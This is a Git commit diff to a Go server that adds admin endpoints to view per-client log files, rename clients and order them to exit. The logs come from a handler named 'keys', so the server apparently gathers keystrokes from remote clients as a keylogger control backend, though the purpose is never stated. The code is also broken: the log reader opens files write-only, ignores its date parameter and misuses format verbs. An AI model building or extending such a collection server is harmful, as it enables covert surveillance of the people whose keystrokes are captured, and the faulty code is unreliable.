Enhances client control

This commit is contained in:
Daniel Svitan
2025-03-29 23:10:18 +01:00
parent 0335c3157e
commit afec6d69c7

View File

@@ -3,9 +3,11 @@ package main
import ( import (
"errors" "errors"
"fmt" "fmt"
"io"
"net/http" "net/http"
"os" "os"
"path" "path"
"strconv"
"syscall" "syscall"
"time" "time"
@@ -30,10 +32,6 @@ var dataDir = "."
var token = "" var token = ""
var upgrader = websocket.Upgrader{} var upgrader = websocket.Upgrader{}
type ReqData struct {
ID uuid.UUID `json:"id"`
}
type IDParam struct { type IDParam struct {
ID string `param:"id"` ID string `param:"id"`
} }
@@ -48,6 +46,23 @@ func authed(next echo.HandlerFunc) echo.HandlerFunc {
} }
} }
func idparam(next func(echo.Context, uuid.UUID) error) echo.HandlerFunc {
return func(c echo.Context) error {
var data IDParam
err := c.Bind(&data)
if err != nil || data.ID == "" {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
}
id, err := uuid.Parse(data.ID)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "field 'id' is not a uuid"})
}
return next(c, id)
}
}
func main() { func main() {
_ = godotenv.Load() _ = godotenv.Load()
dataDir = os.Getenv("DATA_DIR") dataDir = os.Getenv("DATA_DIR")
@@ -132,28 +147,80 @@ func main() {
return c.JSON(http.StatusOK, clients) return c.JSON(http.StatusOK, clients)
}) })
app.GET("/admin/:id/logs", authed(func(c echo.Context) error { app.GET("/admin/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
// TODO: finish for _, client := range clients {
return nil if client.Obj.ID == id {
})) return c.JSON(http.StatusOK, client)
app.POST("/admin/:id/name", authed(func(c echo.Context) error { }
return nil
}))
app.POST("/admin/exit", authed(func(c echo.Context) error {
var data ReqData
err := c.Bind(&data)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
} }
return c.NoContent(http.StatusNotFound)
})))
app.GET("/admin/:id/logs", authed(idparam(func(c echo.Context, id uuid.UUID) error {
date := c.Param("date")
if date == "" {
date = time.Now().Format("2006-01-02")
}
skipRaw := c.Param("skip")
skip := 0
if skipRaw != "" {
skip, err = strconv.Atoi(skipRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "skip is not a number"})
}
}
takeRaw := c.Param("take")
take := 1024
if takeRaw != "" {
take, err = strconv.Atoi(takeRaw)
if err != nil {
return c.JSON(http.StatusBadRequest, echo.Map{"message": "take is not a number"})
}
}
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02"), id), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil {
return c.JSON(http.StatusNotFound, echo.Map{"message": "file not found"})
}
_, err = f.Seek(int64(skip), io.SeekStart)
if err != nil {
return c.NoContent(http.StatusInternalServerError)
}
bytes := make([]byte, take)
_, err = f.Read(bytes)
if err != nil {
return c.NoContent(http.StatusInternalServerError)
}
return c.JSON(http.StatusOK, bytes)
})))
app.POST("/admin/:id/name", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients { for _, client := range clients {
if client.Obj.ID == data.ID { if client.Obj.ID == id {
client.Obj.Name = c.Param("name")
client.Obj.UpdatedAt = time.Now()
tx := db.Save(client.Obj)
if tx.Error != nil {
return c.NoContent(http.StatusInternalServerError)
}
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
}
}
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
})))
app.POST("/admin/:id/exit", authed(idparam(func(c echo.Context, id uuid.UUID) error {
for _, client := range clients {
if client.Obj.ID == id {
client.ExitWanted = true client.ExitWanted = true
return c.JSON(http.StatusOK, echo.Map{"message": "ok"}) return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
} }
} }
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"}) return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
})) })))
log.Fatal(app.Start(":8080")) log.Fatal(app.Start(":8080"))
} }
@@ -197,7 +264,7 @@ func keys(c echo.Context) error {
log.Error(err) log.Error(err)
} }
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02_15-04"), client.Obj.ID.String()), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644) f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", dataDir, time.Now().Format("2006-01-02"), client.Obj.ID.String()), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.Obj.ID) fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.Obj.ID)